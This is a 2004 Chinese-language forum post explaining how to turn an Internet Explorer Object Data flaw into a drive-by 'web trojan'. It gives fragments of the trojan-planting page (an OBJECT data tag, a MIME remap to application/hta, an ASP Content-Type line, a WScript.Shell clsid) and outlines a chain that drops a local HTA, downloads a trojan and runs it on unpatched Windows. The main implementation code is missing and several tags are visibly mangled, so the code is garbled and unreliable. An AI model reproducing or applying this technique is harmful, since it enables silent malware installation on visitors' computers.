標題標題  顯示論壇會員列表名單  搜索論壇搜索  HelpHelp
  注冊注冊  登入登入
電腦綜合討論區
 DoReMe : 電腦綜合討論區
主題 話題: 利用IE漏洞實現之網頁木馬 回復發表新主題
作者
貼子內容 << Prev Topic下一個主題 >>
bababa
Groupie
Groupie


加入: 2004/5月/29
Online Status: Offline
回復: 46
Posted: 2004/5月/29 3:20下午 | IP記錄 引用 bababa

近來IE又出了個暴大的洞,該漏洞主要是IE沒有對OBJECT實際內容進行審核,而只審核了後綴名(真想不到都這年代了,微軟 居然還用這麼這麼土的方法來實現安全保護,暈@##@)。

  接下來談些簡單利用,以下程式碼不得用於非法目的,否則後果自負!

  原理:

  一、Internet Explorer Object Data Remote Execution Vulnerability

  利用Internet Explorer Object Data Remote Execution Vulnerability

  eEye Digital Security在8月20號公佈了這個漏洞,該漏洞是由於HTML中的OBJECT的DATA標籤引起的。對於DATA所標記 的URL,IE會根據服務器返回的HTTP頭中的Content-Type來處理資料,也就是說如果HTTP頭中返回的是app lication/hta等。那麼該文件就能夠執行,而不管IE的安全級別多高。

  ------------在木馬種植網頁中插入如下程式碼-------------------

   < =http://127.0.0.1/test.test ;;;>

  然後更改服務器的MIME映射為擴展名.test對應application/hta


  這http://127.0.0.1/test.test內容的HTA網頁就會被使用者IE所執行。

  當然上面提到的再服務器端修改MIME映射,也可以直接適用ASP、JSP等動態指令碼來實現相同功能。

  例如:可以直接使用如下程式碼:

  ------------test.htm(木馬種植網頁)中插入如下程式碼-------------------

   < =http://127.0.0.1/test.asp ;;;>

  ---------test.asp(木馬首頁面)頂部寫如下程式碼----------------------

  <%response.Content="application/hta"%>

  二、網頁木馬原理

  所謂網頁木馬,個人理解:就是當使用者瀏覽某網頁時,自動下載並執行某一「木馬」程式,進而通過該程式實施控制。

  由於HTA具有本地使用者權限,相當於一個APPLICATION,因此,我們就可以利用上面的漏洞來實現網頁木馬的基本功 能。

  要實現網頁木馬功能,那麼必須要解決木馬的下載與執行問題,執行相信大家很容易就可以想到 < id=wsh id=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B>

  ,關鍵是木馬的下載。

  文件的操作在HTA中主要可以通過fso和ADOSTREAM兩個元件來實現,但是FSO比較適合操作文本文件,要實現操作 二進制文件還得用到後面的這個ADOSTREAM元件,但是我們可以發現當一個在IE裡面執行的HTA程式是有作用域限制的,因 此無法使用ADOSTREAM來操作本地文件。所以我們必須要在本地執行一個HTA程式,而HTA正是文本文件,所以,我們只要 通過FSO來操作生成一個本地的HTA,繼而執行該HTA得到我們想要達到的目的。

  至於文件下載還會用到XMLHTTP這個元件,關於這個元件這裡就不作介紹。

  從上面的分析,我們需要通過兩個HTA來實現網頁木馬,一個是在IE中執行,進而尤其生成本地HTA,再通過本地HTA下載 木馬,並執行之。好,我們可以開工了!

  三、具體實現過程不作解釋,程式碼如下:

  ------------test.htm(木馬種植網頁)中插入如下程式碼-------------------

  

  

  This is a Test!

  If success,,your Os will download a appliction and auto run it!

  Of course,Os must be 2k/xp/nt/2003..... and didn't patch.
Back to Top 查看 bababa's 資料 搜索其他貼子 bababa 訪問 bababa's
 

如果你想回復的話你必須首先 login
如果你還沒有注冊的話你必須首先 注冊

  回復發表新主題
顯示可打印的頁面 顯示可打印的頁面

論壇跳轉
不能 張貼新論題在這個討論版
不能 回應論題在這個討論版
不能 刪除你的發言在這個討論版
不能 編輯你的發言在這個討論版
不能 新增投票標題在這個討論版
不能 在這個討論版投票

Edit by doreme Forums version 2004
Welcome ©2001-2004 doreme Guide

This page was generated in 0.4844 seconds.

 
保養品
保養品, Skin Care
www.elady.tw
Makeups Wholesale
Wholesale Cosmetics SkinCares
lungjyi.com
保養品批發
名牌保養品、保養品批發
www.perfume.com.tw/skincare
Wholesale Perfumes
Fragrances Perfumes Wholesale
lungjyi.net